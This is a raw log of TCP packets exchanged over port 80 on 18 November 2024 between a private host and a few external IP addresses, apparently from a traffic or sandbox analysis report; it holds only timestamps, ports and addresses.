Nov 18, 2024 19:04:41.768459082 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.768469095 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.768481016 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.768481970 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.768495083 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.768496037 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.768516064 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.768541098 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.769198895 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.769212008 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.769222975 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.769233942 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.769246101 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.769249916 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.769258022 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.769262075 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.769273996 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.769287109 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.769292116 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.769298077 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.769309998 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.769315958 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.769320965 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.769332886 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.769335032 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.769345045 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.769356966 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.769360065 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.769370079 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.769382954 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.769386053 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.769395113 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.769404888 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.769407034 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.769417048 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.769423008 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.769423008 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.769449949 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.769449949 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.769455910 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.769996881 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.770009995 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.770021915 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.770035028 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.770035028 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.770057917 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.770081997 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.770240068 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.770252943 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.770265102 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.770275116 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.770279884 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.770291090 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.770302057 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.770315886 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.770406961 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.770418882 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.770430088 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.770442009 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.770447016 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.770454884 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.770467043 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.770468950 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.770477057 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.770483017 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.770483017 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.770493984 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.770531893 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.770731926 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.770745039 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.770762920 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.770773888 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.770781994 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.770785093 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.770792961 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.770823956 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.770957947 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.770971060 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.770982027 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.770986080 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.770992994 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.770993948 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.771006107 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.771023989 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.771047115 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.771161079 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.771172047 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.771190882 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.771190882 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.771222115 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.771404982 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.771444082 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.771648884 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.771660089 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.771671057 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.771683931 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.771696091 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.771697044 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.771697998 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.771725893 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.771750927 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.771758080 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.771770000 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.771799088 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.771835089 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.771910906 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.771922112 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.771940947 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.771951914 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.771954060 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.771965027 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.771982908 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.772013903 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.772038937 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.772109032 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.772119045 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.772145033 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.772159100 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.772236109 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.772247076 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.772258997 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.772279978 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.772306919 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.772322893 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.772335052 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.772346020 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.772365093 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.772386074 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.772620916 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.772676945 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.772690058 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.772713900 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.772742033 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.772746086 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.772757053 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.772768974 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.772782087 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.772794008 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.772794962 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.772794962 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.772815943 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.772830009 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.772960901 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.772996902 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.772999048 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.773010015 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.773031950 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.773042917 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.773132086 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.773144960 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.773156881 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.773180008 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.773181915 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.773205042 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.773339033 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.773350954 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.773361921 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.773387909 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.773410082 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.773536921 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.773897886 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.773907900 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.773930073 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.773937941 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.773941994 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.773942947 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.773955107 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.773966074 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.773967981 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.773972988 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.773993969 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.773993969 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.774008989 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.774008989 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.774053097 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.774065018 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.774076939 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.774087906 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.774089098 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.774100065 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.774116993 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.774431944 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.774461985 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.774472952 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.774477959 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.774477959 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.774483919 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.774493933 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.774499893 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.774513006 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.774521112 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.774533987 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.774538040 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.774544001 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.774557114 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.774564981 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.774594069 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.774867058 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.774878979 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.774916887 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.775305033 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.775322914 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.775338888 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.775340080 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.775351048 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.775377989 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.775402069 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.775434017 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.775439978 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.775444984 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.775456905 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.775470018 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.775485039 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.775500059 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.776156902 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.776197910 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.776206017 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.776218891 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.776241064 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.776254892 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.776272058 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.776283026 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.776295900 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.776309013 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.776318073 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.776351929 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.776952982 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.777007103 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.777019024 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.777046919 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.777050018 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.777062893 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.777091026 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.777100086 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.777158022 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.777169943 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.777194977 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.777226925 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.778022051 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.778033972 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.778045893 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.778058052 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.778069973 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.778076887 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.778081894 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.778094053 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.778095007 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.778115988 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.778136015 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.778743029 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.778753996 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.778765917 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.778784990 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.778805971 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.778955936 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.778970003 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.778981924 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.778994083 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.779006004 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.779021025 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.779051065 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.779637098 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.779659033 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.779669046 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.779690981 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.779690981 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.779710054 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.779804945 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.779815912 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.779828072 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.779839993 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.779851913 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.779881001 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.780487061 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.780498028 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.780509949 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.780528069 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.780550003 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.780579090 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.780590057 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.780601978 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.780616045 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.780628920 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.780658007 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.781325102 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.781364918 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.781371117 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.781377077 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.781402111 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.781415939 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.781487942 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.782423019 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.801970959 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.802025080 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.802061081 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.802072048 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.802083015 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.802098989 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.802119970 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.813476086 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.816628933 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.816669941 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.816685915 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.816695929 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.816723108 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.816737890 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.816757917 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.816770077 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.816781044 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.816792965 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.816809893 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.816843987 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.816987038 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.817025900 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.818438053 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.818480968 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.818679094 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.818717003 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.818743944 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.818788052 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.818809032 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.818845987 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.823360920 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.823373079 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.823385000 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.823416948 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.823441029 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.823698997 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.823782921 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.823792934 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.823823929 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.823836088 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.823879957 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.823892117 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.823898077 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.823934078 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.823957920 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.824322939 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.824336052 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.824347019 CET	80	49989	185.215.113.206	192.168.2.5
